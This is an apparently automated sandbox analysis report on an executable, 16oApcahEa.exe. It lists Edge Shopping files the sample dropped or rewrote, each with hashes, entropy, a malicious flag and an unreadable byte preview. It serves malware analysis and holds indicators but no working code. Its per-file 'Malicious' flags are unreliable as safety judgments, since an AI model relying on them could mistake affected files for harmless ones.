SHA-512:	D7D1EEF53A81BE1BB72EBDAE6C9E4876B48EBA17AB1A957C54E27413D96E61E1D46DEB513D1AF9CCC4A19FF238A24ADFD1F491827263AD4E35C43408309421FA
Malicious:	false
Preview:	(()=>..+p>..e7.p.ya.VR.....Rb6.^....-...........S....#..<4iC?A>..Yk.f..>.H...+.....J..6......A.b...}r...+_../.?(.9../....H...k.{.....>q..g.....x`?..S(d..6z..........z%....X.t.d..`.x....l.....B.R)...Dz?6.......p..bi.=.>k......).Mph....H._...1..D}Cs......b.Y.l...a.{y.#dL.-o.P...@.....#..........F....S2.L.^e..-{H.D.t.BW..g.U.....;...g."........Qb....~8Y.+.."X6.....F....k.CTYw.5I.#mKr..dH!.....K..k..:q..OF..lY...(.U...X1...b....6.U.CI@^.}G.....".h\..Q.Q...K...p.....C....DlwQ...>..Z..o.\|.@.W...vN..9......'../....D..1..l.... ..`u.....,.e..?e..-x...O.j..w.....UR.R.\.....c..5.1....+..cT.5...O...o...0I......f5./.t..%..8t..^...._.T..}.V.....:E...,3.x.3&UQn.y.}=C.(.\B.m.......&?n.q.A...C>.N....*...=.....!.N.U.KLM...0....T.+k.....?:.].njM.O-VF......~..B.......#.........d_..L....o..O...E.@...R.b.Wj1.a..J..........#..Nd...\o.I..j...n.KkCh#.v..lX.#.;}._7><,.Q.E..c........L i....,.S.......d.7V.=....S.-.?1Jn...p.j...C#6.D[$.........}....:.\...W..-... .)..3d..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1679
Entropy (8bit):	7.879770990507916
Encrypted:	false
SSDEEP:	48:VtSxH8Bead0cHEdQhmxvmce6S9ElZcmSreYJD:VtSxfq+mcebElzSr7
MD5:	285371035EF2FC7376A659DF47FA1286
SHA1:	471DFCB05368CE0F8B7DC6EB1FE9F671A536B2E4
SHA-256:	EA7AFCDF0A302C60D731392571B7B31C37998FA8E0107F7E35032E0A69F30348
SHA-512:	A307D97106BEA33EF096B45F34498A800A756A6D9ED2C0601F76E11C77CB587FE9DDC014B131DF36D927FF63F060815EF11C48E31D10158D362FC32A27BA8737
Malicious:	false
Preview:	<htmlc.B....(......O.47..\|h/3...N}.-lTh....2Mo.."..G.K;.N:b3.)..8... ...W.m`..?......F..r.......m.........._.xM...lR...;:@..ke.j}./-..J5G65...g...........e.4..0@N..$..C.X..r_.6....A...Cg.>...0?.C..G..s(li....1(...!z...Dj..T^J... ...(..0..zw.]...." \|(..3n>.j....j.}.s.l......9.>u4.-."f....1...\|w...G..R..]..0rCa...!i.<...........B..g.'G...wj..gE.........dy...>...f.......[=.i.6.=...6.r".o.W.....y..".g9..3......z..m6.q.Y{....;^...k...[.....[...<Bu.L ........Q.^.....08.uw/..7l........c..^)..0..oGg...r.j....{r.A.......&.a...4..(".;).}G...........b)9...U...g\|..$$./..G..V....v...mq..V.e@"....l.<....:.3..#..D.ki....m.o.s./.q..8Qt..S.(..Q?N.n....... '..LZ.s$X.`U.M......\|.....J.I....ge..M<..\|.....j.....$......oU.Hp....5..98.jFQ$L..O.&..._&'..-..d.....=fl...z$..&..Q..Y.E.u.@..r.l......D.V^..<t.*...z..Gd..yc...H.6J....5+....e.'.G..>...-h^$l/P>....C.s..V?...e...'.k...'.R.]S..y...rse8<Vf' .pJ...K.J.`.....[.`.X.~...h..N...7U.a...;.'....Jn....:

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4988956
Entropy (8bit):	5.7141210439414
Encrypted:	false
SSDEEP:	49152:iGhOHiCbgr0I8ruVWgtJylhTd2fsZjVZLl7gJOoAgGJ3DA5dOrPyCuiJ4zPLHps+:pcePa4F
MD5:	22A36B502389EBF2D7CBABB1B4DDD0E5
SHA1:	9E6188671E601F6674A727CEDE15B3C7C8919588
SHA-256:	F9CCA1863DA8D765B333AFE7CCB22FD996D6C880969022314CF7983FC0406AC9
SHA-512:	D2C0FC54442B38CB9619B3A9CAD8C98CA926832251DD563775B4C3759B567930A9DEE85E590ED03ED35910954D7BCCBF19219038E94E686CCBDD4E8826DF39A3
Malicious:	false
Preview:	/! F..,J...oTb.....02..q`.7...%..\|.1&x]...q}..!..?.......W..O....3..$...i.,.G..qo.....D........yA.J[..~....`...q..\|uI.#...=.].y....i?g7RJ?.=.,.v ..o....F..........I......Pf..j.E8.z...1a........CeC.;Yf.....p...}!0.'._..D......Hi..L...d....O..ZK..P..k..L-~.X......v.wy .......\a.:.z>"H......Sg..J.kO^..3..}X.',..X..g..B6.v.3....D.-\........O.-.m.X..DD.,.f:x.FGJ...H.o.1!`..@.}D...F.Y..%d....k.....(u....rT..D....{.....$./f.5..<.6...w..?f? t..)....h..f%.l..0...._c.q....\ kA.......M..Q..f...&W.....j.9.._.3...f...&........;b.H3s.L.J.@-.U6...N.q.U0.o......#...\...g4...q3v....!M.........cpl..#..b..d..2p}.:...m...j./.Vp.F......Z.M.<..i. .#..#....3..`8.FQ......y.F.W.(d..+c6T...Lg....E.e.!.....1V..h.;^2??>'..2$........Nqk....`...RoK..}..T.,t.4..a..3>x..^9..(.ib.....B@o=w..c.0...U..1....y..(...d.)GN..y\|......l....z....4.F.lH.}d-;M2.....9X.8d.W...!...*..[. ....t..a{!S..$\.......4....#q....H...Y>..Y.+...W._....t.s!>.sC.4..>.[.Q[...6....../..6....'.7.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping_fre.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	7.8764072371714
Encrypted:	false
SSDEEP:	24:TUCFvx7t8aOJzneFty2+XDeQfagGoGxtHazwfO+KLgtfJvq/KYJZEnGqBs9pbD:FFJx7OZK+zejgwt6cm+LfI/Yn9AJD
MD5:	DF2B0842BE7D14B10A39359B9C52ABBE
SHA1:	58D9928E0DA43D51C93365EFBBC3BA46DB146FFA
SHA-256:	776BC6982B4C5139AEC076CA362EC3D11241A2577FA887DE7F57C73386AB1978
SHA-512:	1C22F91DACB3B6ED81B8B3925F3598375E0417B1E9F04125161C82CE1C47AB1CC64AB4DBA610A6F116F5D34A27CC94C0B23504392CEE6330ED498A93341C5803
Malicious:	false
Preview:	<html..k\..0.....N..@.V-T1..1].kE-.7.>^..H<......I!.$....7(.Z......[.'..a......L...[.{y8.r...".~.-..i.9.d.b^7.d.\...C.....fb..)}ZJ.6I2..!T..H......}Y.%?..Z.yE..T..`.\|.#mH.<.[.......V..1......Ry...;.P. y.d.(K~...Jw`b..v..G.s.Z.i.a.{.....]..d.N....>>......f.._....@..'.....C..\|Oy%..r....b..\|...LS........{},o..;.".. F.=..rK.NG.%..gN...C...D.xy../..z.....d...J-.Ro..p./..u...I.....z.a.P..:...F..z(.)^s..V..5..WW.gd>r.I..X6..$..a..P.....R`.`...k..e;...5........v...84.R[,..DB...M._5...lR....B.)..J...P...0JGE......$....o....>T.l.K....`]....z,.m...R.v .j..=..M....<.Ys..{...^8.U.1I\|.....-.U.V.d.<..$..n.....k.h[...,..r.#..G5...r..].M....X.x..:.........NL..w....V...e...EX~=';..^g./.GH<.L.z....."ZL.....l....M.....gj.m.3........r..^n...+zZ.B..i....1.+.+Jr.%......s(....Z[....{....'..R.8..T.p5...H..p...W"5......D..M.......o..Y....P...7m..lr.U-.Q{$.<U{........rs.=0.~...0,...)t......4.q.[<,.(z.?)..Y.....g.i.P....18.\...g%i.uk(.m..........%...D...s......1+.M

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shopping_iframe_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	12270
Entropy (8bit):	7.987036716561081
Encrypted:	false
SSDEEP:	192:c8juZUO3aybL8NXYXZ818gI380rYBuf/gvwajXI60eB7lg6NEjqxL594d13Rvo:crWy3k8xlXgfb0e3gKEj8qy
MD5:	4A5AAA342ECF0A178B1354C4CBB4CEED
SHA1:	BBB5202425FFD1E5E6F0722288A94C9C77E8FC99
SHA-256:	AA6A7214FC79CBE42A005F3933CBB07F9B9F0739E1AF69C85F60A578BC21684B
SHA-512:	8432CF78EA3FB381709FBCD013C10FB19650BE44B7A3ABA3970C8983B354E662150D74FB6961A6CD4EFD792D1ED6CF126A4B26F083E92D32B61574960732089F
Malicious:	false
Preview:	(()=>PS.!...J.w.._.of..s..b.0.8..P[.1x.v..h.%...3...7t.3...2.^...R........$.5..Lo.1.......L......~.....y..;....[..........9.1..... Z....nK0....u.X.U89A...~..n......."....>.....m.......+..._WA{..\..8....{.\|.8.....77.+..J.}x.?./..k.H.@....../.G.c.........H~.P.8[\+..xf.....M.5tFH..T!..U6...pQGg./....J.....X......^.\...0......].\|=.g..xB....q.......)....S....4.Q..O.6.P............B$..5W.....^.?.........K.u-Dy..n..jVSR.....k.l,R..>O./..\|..._{.j.n...$.<...y...I.C. .'..?.v...E.@7...J...T..%...p....u..........h.H)%.c./...&.Sq.#;.R..N.k..T.......+v.r.....F.t......Koo......%v.Cv.W.U...yn...J.q3Zv.+...</...f....HbI.4sc.vR..E......P.{.\|vv>...6).7.M.j...'...4.N.R!ByM.k...\|zEh..X.3..(...).."..Y...< ....[...B.+..\u..L...g...B.>....Nj..\|oQoE.{...T..W..{..h.%.'".....M....c6~...-@K^.....X#H+T.Px.....WaKI...B[...).q%._,...SM.9....Bw....1}.L#....e.?*....$..'d.......,.....9..QM[.z....`.4s..~.{.&..+"E.x.....H.........8{.%..... .}...%.dZv.....-..t.L.R.40.yS.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\shoppingfre.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358109
Entropy (8bit):	7.386581954557811
Encrypted:	false
SSDEEP:	6144:YzeYnP8bCjrWTMKbg/IsUo+SuOqtFS4pc8Yv7fX7cxbAB0uP:meYic+ZiIsUbSusHIzg
MD5:	3B51BD335B681244A75AC3AE18EF45C7
SHA1:	664CCC6ED0E6E5A29A0C0BAF2A75F6A49E94A27B
SHA-256:	596214358D95157EBCD0D9C40F647664BFA353E3C33F49E7DF8665456A443DA1
SHA-512:	874F86340F1C18143D67F6D79F52F6C6FCFEEC6A7CD3910B4D7E307FADDE6656E2EAF487255D1001E3847FCDA7ED19FB4C03410E7410AC041635F1D19BA3800D
Malicious:	false
Preview:	!func>..{q.y.~i....l..X].....".kO...h...l4.?'..S@.s....3..f.:.5.^.)..!..oK..#...Q.Gs.."......q2E..'x.U....&&J!...e...\|.7Jm6S#...+i.y%J.A...6.^.2..}.r...39.M...DX.Jyy%.....v[.+-..B.L.7\|...c.[....y...E.....k<!36/@h.du..Td.......2.j{...K.....Hs'.&...0.t..J..Z.F..T....A$.....3.m..I:.?...)...9.\.".z.trT....g..kDX..2<..wED!.j&&rbD...g.?~_.ue.9......Z.h&..an........._X........x..W\|...e.x...x..2.KV.....{.{......`..wBs.j..\|%.......v.[.....n.df...%..S..<G....U..`C./32.D..).R.#..h..t'......,.<....8..i..SW..8.?.</ ..J4..+....d.J....J...3"`..ucDT`.o..B...v...p....>.8......4A....]K8..48......d....8..#.'.=.=.U...n^....;6.N=.c2>F.[.9..0.\W..mV..P.t.U...^;......;s.....t./....A"\|.@.._.Q.V........E..G.)[....!.V.Z...\....+......u.F.?.Ah..4L.. ..4.m$..Ff.f..$....6.;.m.;.g/..F@.b`.U.N.\|f.YT..".Q.Ug...^.0...m.'....k....2...7..}...3...7..\).c.l+..a...'...<..o.g...0.W.:..I'.R..C.%...y.............5.P....].dH%_S.%.u.......V.......".NPo)U.}Z.......u....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1179282
Entropy (8bit):	6.261118650944111
Encrypted:	false
SSDEEP:	12288:2Drx/OZQLYfiKYgf9MSK856sJmOBjn2LT8/XH6rewfkb3J0sI7:mrxGOGImDcamOB6LT8/bR3esI7
MD5:	8105C267D814CF8C1E14E9C9431AB19E
SHA1:	F60992C7794013AA517B62986639389776E876F1
SHA-256:	9F172EAC8FA9F3CFC808949A5E9E08C72D35FBD92B6B6AEDA57F2A8CEA748380
SHA-512:	FE9DD276B5CEA31FA7BC47CCEFDE2C8BDADC5BD498D7B5834241DFA0E7C861A31401F84DBE31B456D467F1E55FC37A68607AD40DE5F7B6396E9473CD2E0B27AE
Malicious:	false
Preview:	/! F^K...%...J.0)..EW....Ri.3.,.>..q.7P"^j.z.......-.b.N.r..i.!.PH3.E..U.^..V%.x..;M.L_....}......{S..".U..~..wk....o.....].......y.&&.,vf.....6.Qd..C....rn....v....q...i{K..u....'.u..(Nu4z..=_.vi...qv.)...rsc..j._....%.^..1L.}y.p9...hMC....Z.../..3UB..eXw.I.-..h.V2._.I'`.v&a.s........V.y..&...^...61.1R..J7..s..+.7....m.+S.%unV.H9W.....t....}........;.=..y.%yJ..A..F.):@.2o..5gV.y..H].1..U......./..N..o..e...z{.p..,.z.p5c.C....7.\. z.../.)]..2~.........a v...y#.y^...w......+........o.^.....6e.........#uN.p.....s.<..-.....3....DdiN%.V.s...=...u..G..(....o.6.A.....U.+........MS.!....g...[.m.}<.&E.8.Z.F.../......n<>.\|.c.:g3`.TA....8...A.....w..$.#.:f...h........P`...=.....r....B....km!W..<hkd....k.....9.+.u.p..m.E.\..TTM...fQ.L(Be@B.Lt.".R..x<..n..:.4"E.2.. L..U.GT.i.W..(.....3......ls.4.<.....w.1..N.Q<(.Y6.1h..r.,..S-.e.f.6.L...!..4/./Z..Ik._.J......[r..c?..mt.Vc.- cVTM..yY.(Z...c.@pC.. J.....b..a.y.X..#+.&...}.g..`...u.A-.uu..N..lR...CB+

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1010732
Entropy (8bit):	6.3587443749066965
Encrypted:	false
SSDEEP:	12288:L31bK2CwEL9X2Y+zWZdnwijDWwMxdf6kV:g2IRmY+zWZWijDWF6i
MD5:	BC9C8D8653A790FA44AA3E0DBB9A5350
SHA1:	D79E98573F81C5F4D5D26439615398C52DACEE14
SHA-256:	E25CA282B2009E8B253D054C68427946B7A7877CC94C2990ACF51A137AABB4D9
SHA-512:	2349A299FC19C1D27E05EF4B0BC1D97A55A9BA6C64B4EACB4DC5298334A741214BE7C30CA8A8106A45708690DF3D187240FEC86E1E493D012A934C7D8C84FB8D
Malicious:	false
Preview:	/! F.R..:b...:.Q..N....V..b..d;.O.M5..V..v^~8. .s.......<_..].$...Bp.H.^.(7..ma.m......Z.A..JH..UimM. Lv.....2...Z&%..!.Isbg.zB.YG..z~..H.....J%R.NL.8.&...>y...._.R.P?......O...;..R......G..y#.we.\..=so.R.[..L..-w.f ..?%...~....T.....<.`;.Y.......K.E\.x5...,>..........V.x.T.!......HD...S7..F...`,XI........k.L..@.m.wL..t.u\...FO7J..y.e3Ir...w.w....0.4.j`.,J.O.o8`uY.4n9.hn.3A.Z\| #..i....J..HF.0S.....j..;.`...3.wk.3PSdS.8:R.."so.\.j\...NF....S..uQ@1.).X..V.w...,.U.....m.F..V..z.Od9s...sa{...\|d.....&.....c.....q...O..g.Y..N.....P.1.{...<}...,../..)q...9.S(.g.}.Z.3..y......={.&'.."..................f.F.t.UO..j..S...P.9B.e.5....e........1]./6.........8vq..W...3p....swGz;Vx..7.9<..Kq.Fz:..t....4..^.DT.IL?:..}.6&......@..\|Atv.w....\|..B.L.......,z..........{).=L9....1......^_.21..w.....;m.V...G....b...d....lY..\|.[.N6...b.....U.Y...+;.5..... ..y.}.....f....5.Qdpt.VfE..o7...........o......Po...=.u....~#.*..dD.....T.IaE.ru..$..12)v.yA>[..a.&.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1042237
Entropy (8bit):	6.338380814389458
Encrypted:	false
SSDEEP:	12288:VG6GBjd1XqGcE2Rr9QLhbGoHVMunRZm91a9I2SFn4ar:tqd16GcEVt6oH2SZm91jFR
MD5:	3C3BD1EA066783953AE0585E3A2D6775
SHA1:	8099F05A63D80E6A87005164114B4C3054F0CE58
SHA-256:	AA378F60FA031F2804199A012CB725240C5EE5EE579EEE9EBA904E34BF8597E5
SHA-512:	583D6E902CB9F983C7C6058B3E8306B419D0E8FD8532EED28EA2EDC26D570621F449582C13A5DBCB3511FBF04BF14FF48E480BB9D1C5DC03632CC8351B3FDEC2
Malicious:	false
Preview:	/! F.B..tP..{.0.......{:.}..g$akv.T.t.....=vw....T...;...\.].N^]..{...E-M...L...Mcz..J.RVw.K.....$...A.q3...r...-.c..M'.>.xxO../.+..L...6..Nz..%?..9......hg.......L2$.B.4)..}.U...5.. ./;B.U.v......Qg.wl...........y..,p......#N......Y..d.F.....k...#.....E...^.........o..z..xv.J.o%HA...\......M......\|.Z..:...+..V.).........b0..R..y.gFc'4\|.R=.m.G.s.?I.....CFc3..."_......^>..I.....U........Bj.@y0........`....{:.................U..m...F.u..+Nf.L..a...h^'.6..q`@.8g........v\|..C.H\|.....@u`..L&.c....U.Jo,..O.......g.[B.e.........E........f....D.m....\.d....3....t........A..z.....zE.su..L.8]#.S.\|...2.^...pN,..vk.x...}.1...B..VL<...!.[] .X..K$-..U.A.wA..K."#..d=&z...H....[P........VhS.)..l~.in.{..k....Y-.D/.zD...=/./..}}...G...>u.%.,.#R.=.... ...X......caU3.Qi.s.......7...a.te..=..f...0..aB....A..y.^.,.A........6P<.3D..l.l....Cq.{..#.y/...d.....;..tk..$%m..G..i.bzo...hW..]+l5Gj)..T.(...A...w...@.........*..t......P.,..m.Q..)....D0fZ.aG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1681049
Entropy (8bit):	6.110321372998916
Encrypted:	false
SSDEEP:	49152:x7Hx3ahYkVrB6WpJHdVrULhIvRbMwvouF:xDDVL0
MD5:	D08E66E5301B66F6A8D88515BD516E24
SHA1:	5999196876D81E208E30BD270F9BD7310025B7A5
SHA-256:	EE7230B3DAF00CB1E770FD63379363B14F5EBAA15D1FBC58FB688B606C753FEE
SHA-512:	70AE05154F75F02160141F5E0415B7570FDEA7737F6EF92589A206A508CAB5F1C5F94DBAC797C8FB558C7CD071F74DD016B08334F45BE18DC8A6B98F06095962
Malicious:	false
Preview:	/! F.d.+~.Q..D..".\|.o.....=.R...! ...=....o"q.{!..LY..2.wS.!G8......ak!-=;1.+J.%.0..H....__...\7.w.."..d.K.4l9....M..8....m0........E.Iuz.....N..R..n.H..U...}?,.T.........Vl.J.......^..lMm...x.1...H.'.)....~_&.B.;.X."....m.I.,...c.....&..@._R.%.Q.....=d:.=....u.v#..}a.M.......Xq...j.ZL.....to..&..~...\..5A...~..?....".....)....(.Kr..'....a&.....^2z..W..rW..s..e.......Tq..YR...U.O..R...iy.0R92....8./)..IM.~^...=....OOeF.....K.=...q"~..f\|P.......4.6...o.......Er....'......}P.E.&......u{...EP.-O@22....[.F..cS$...4.!...H...Lh....y.3m ...uA;Y.?.....>.L.b..\|..5..k..+..P._.Xj.BwD...AQ.(....u%.2....5.U..b.\.x...~8..1d.:j.!M-....b....ic..?w..S.........1..{.=.l....7.....Jf. .....b.f....r.:..6.=Sc......EYo.......R..e U...O.4..a..!^..M.N.0..d_..${...=.b....e]$..5M.......D..h.u.S...dd;K!L.....HU..~D.R.R......\,V.P....k.7.2..'..@&...Z....~.Z1./..1..X6.&.$86....<U$.h..W G.`.h[. I>..H.X..H....z7.d&...<^..w...:........9z.B!6.....N....l.B..T.8....=..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	80121
Entropy (8bit):	7.997785960572747
Encrypted:	true
SSDEEP:	1536:bCGFrdul6ppIvIPKMESLxtsSnQbESxBK+ozz25YDkBfqR:xFrdulmhLxtRnQjxto+plqR
MD5:	5CDEF3013D09700C0B2AEA01311D7DFF
SHA1:	15A1276565B29D2947C57FE891857F3A4D59F593
SHA-256:	374565710A8B4E8F2D3D0647D3D90644D2C1C4BD55E23DB6C13372A4143D7B13
SHA-512:	4E695D04B26758D02373B5884BFEBA7F339D0E9837E191DF179488D48223C896A8E2BC69CF07EEB2FDF7950A2F12F95D5DBCFB49FB9BA598668191B6DE2D18B3
Malicious:	true
Preview:	/! F.l&.EE-.......fA.z..2W.w$5...Gz.., N.M.4S..H=z.@..t.vO..hY...O;....:.2&..C....9....vE;.t+A.^J.aM..r...SI..8I,.....Z...\.....^.t....9bQ...`.g..,.C..#K._.....U\......O.....4.\..,.....lJ..g.m...@........(8..M_.L..'..q.~....x..:.......+....L.[D#M.=x.".P..%GX.X..[........]....H.Km6\|m./...Wo..."m..5...}h\.Q..o..`...6...{\..<A.O....U...>4.i..a.nsbL..2.....Qa.Y.0...+..\Z.B.n...c.II......:.]...@"..0.:..:..d...g...i._.>y8..<c{B.pge.....:.\3..L...T,=.].%?.=..&'...z........=....{n..........2/.Z..\|..`...&Q......S:@....&...3..g.q,.%7.........\|.,..).[.?2.LA.$..ba..m]6..X-...#n......./...k...g....mc.h%[bA..u.yq.NA.....3..d..w.8..6.lQ!/^.$./...[..i ..<.L.;i..5...h[......!......Fr.Y7..+F..:....S/..M~.L.i.-T#.<.....j.....]226....b.W...Nx..~....C.....5...Fi.....2FCn.S....!...q>....D.....W`.d(...$b.Y.@..N.....}..%.6..vg.L"Tf.h(O..t.f.....L...d.0.Q..53y.....s.sW..!.t.xW....P..J.Ke......9*`2W.gG+%....L...o.S......d=f..V...Qh4nrTT.."@.S.`S)..xv..k....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.303144115585713
Encrypted:	false
SSDEEP:	12:lr13WKvTLqrXWUn4IB8uXUH6pP9M2cii9a:pXTGrL4n6x9pbD
MD5:	874C352E16B973AEF8C71AF50EB9BEFD
SHA1:	9674D50053B8503D59A05B5825F850204BCC4B4A
SHA-256:	DF9D1CA7FA92BCA4D1F7332F153278639A4381556F3E3929DB07C6379082D53D
SHA-512:	2065DAE9D5634775C7A0556F6B7DF6FE6B45144834C42C5D86EE78853BB6ED0CAFEE4A738C0044EF889E5BE9783BCE4398E084FFEA4BCCC1D1E8524FC35D151A
Malicious:	false
Preview:	1.312.q......bF.c...XS..G..2.4.."[.B..lH..VF5P.6.\~9C.4B...?;...../boI17,.w...e.8.Pz[............}.\|.o.....p3[.hTc......6.y.!H.<..o.b..pVfp....s...f.^EA?.@..e(~a.....P. ..N.9}FC.d..0..t..\..B.z'......r..!....v...#.u....3..V..-........c..#.QE...>V....@..._.-. P.Rh.\|/...].;5r.U=.........Q...f.^.A.9._[`..3T.I...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	481
Entropy (8bit):	7.529505397966277
Encrypted:	false
SSDEEP:	12:Mj7Wy3/Pv6OwQAmEggZbxxiZbOujFRTyZjwd6M9M2cii9a:Mj6MPJamkZ7zujFWwd6M9pbD
MD5:	0E03A59054F53215CC6927CBA47BB10F
SHA1:	E548A31973F07BF1CBBFC36FED4AFEF3F8CC92EC
SHA-256:	A58767CC33AF349B280BE4D629C6AB29001379F194EC2AEE69623F2F1FB09271
SHA-512:	124911D22F4707815E13C13BB821997AE632D9BA7C806821C6CE2350C6CD19C417E408C78AAA852A99E672F7B29C928B9639040518469CA76C72462BEEB62A18
Malicious:	false
Preview:	.{..;. -.^S.=....0...B.../.....PJ..%P.f...W.u.p.'.C.....E....L6.(.gK..s.....v..H.......g...M.n../.B..o..E.....Q.<.....n.z...-.L....U^!gA..0? ...8_R-..p7.f<.}Ik.Y~X...@.E....N..v).'..W.;.+..R..."..n?.......z..].}F...I<.sm,.e3L...V....i. :.}..$.......L)........$...9..P~..V..?.t.....F.0..U..........mt....C..$BM.@.......R.....P..$o...`.?C.:..?.e..D5..jK\|.?sq3.B^.{G.r./- ..Y..g.fxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	988649
Entropy (8bit):	6.38870504244881
Encrypted:	false
SSDEEP:	12288:lD4SfJhbvi56pdnzgY6E6GlsV7nNy9xX1cdKXxLMZ:9LdviezBllsVpy9xXmyLW
MD5:	99BD300B1BE330B39F322AF5C8C270C5
SHA1:	553E38533D07174B5267B25E4403AC46DDF66AB3
SHA-256:	6776940477653AC62C19DE2A7DEDD6D0D056A54AD220BEC0503981A7C8139C91
SHA-512:	34CB6684E9970C9666FA5BD48E44FFFC616068B5121176BE4A95D9C4BD5AEF556F7879F50DD15A9D279059AE2B4484682182D9A0D829C4A9F6565D6928E463BD
Malicious:	false
Preview:	/! F..p..].....z...@4z.09<d.6.....0.T....(6#,d..b.u.!-..7.b.kg.......iLb.f...,.!.Z..H.DKo..B.."./Y.L.o.?n....P..A..j7.=Bl.S1..Dq..o....,..e.l..{Q.... ~t1'..c..4....o.}....W....,1.!...\W..5_e..~...l]..5H........C..@eb...T...F0...x&..[;......[...8#.ch..O......4nb...5G..G...~n`.Qa>.i.P..W.Z.5>....6}:}h........q^%..r4.itg...B.6....;.....'..&...... p..._..).&..~.q...No.4,.l?.aO..G...s;.Z.:.Q/Gt.qPA/P..:...T/....D...H..sO.8[...Vt.U.R".....4.Q...)......4VZ...dDov...o.d....x`.>..S.....w.{N-..n...=.&:l.....Gu...{...}y.}..7.p.g.nq7.3D.KB..e;..v..V...?.4.....SL._..t~.B..ey......I..4>:.\.^W...P.@......h...X....D.Si.........R,P...3<...,.l....#...fvP.;.....u[.I.L .D..D.eH;3.....O.7.4.C.T...u....w.......U`..9d..../C...\|...Y.IK5.p/....}.....C=.V....n7/..?..6....x.0.."L.....{[.CC.......%.5.1.>c...]v..W....x\....M^.0=...RC..#M.W....2xu.{,....E.n...?.&CFt.....9...O{]...__...+b..~.4...v&.....=.....;T.U .....I.C...~.5~.Lo.:..H.4......[Q....l.Q.;..J.w.qns.u...C..,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1679
Entropy (8bit):	7.896934944487282
Encrypted:	false
SSDEEP:	48:mzG5DzfQ6SlgV05PzNnCRoTj8hBwMGxc0vB71EMAAyJD:h5DD3fu5Loon8nHGxTvB1EmU
MD5:	7826ACE535FA27723032B9EA923C04B2
SHA1:	75B4D9B2943A58F4788EFF13B10AD8EA609671D3
SHA-256:	90AF0B392B7B274E201EBDD5646EBF7861B9CF7280A85E9D51237F52CEB176FA
SHA-512:	C4812F50E3598785D112F5FFC3C5FDDDD0528D085D7E04E360B44E859359C9B217D7323821C70DF8FF2A1A4C8FB4D5A52C6BC2AE331CF71831F1FBAD08C42729
Malicious:	false
Preview:	<html...mB....e...... ..M.x.}.2'...uF}.6....v...\X".......XxM.[..S.z.=.3...F2@O.o.j...).e.x..@yW..=.h.^..c......i.#.....Z...w.Ht_......$..j....&..$..t.....H...!y..........#;"s.Q...0.O.S.K..rl........;].....F....t.s.. ..#K.k)s....z......#.Oe.B..h...L.[N..i.:.[......g.<..u..5.b&..%......G.I.`:Y,.\$s...;:..E:.~!.M,.mL...`WEGO....2.\|?..8.V....)..B.....$...OuK..8..I.....7...`U.n.l.U.A..Y.^..Q...W..8..Y...#..)....c].Et..>P xs.......u......!...g..rkM..w7.#.?.GS....._.....n..%..E0..s.....!@.,P.'[..#Z..w.x?.9.74..60.s.X.V..`E..R.]p>..3...D...k.2..\|.6...[.B...n...d...j........4.Xaj.....F..`R.!..m...g.4.V....'3..l..D.(yG.....G^._.:...}P..".K.~w.)a.^....'.j.B_..l.@.'.r...H...i....$..v...H.U$.2.x..*#...aX........PGA.R...G....(...-........%.......Kk\|...m....;.S...S.7u....O...o.......[&.W...A..p..._{...o.J.@\Y.K..P...{.8".~.....x>..:..`z..%K.....).p....Zm.;I...2..`C...W.j...@.....Y........YbS.}......K..3..j.9a`[...H.......=....{.<.&....%..3.L..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js

Download File

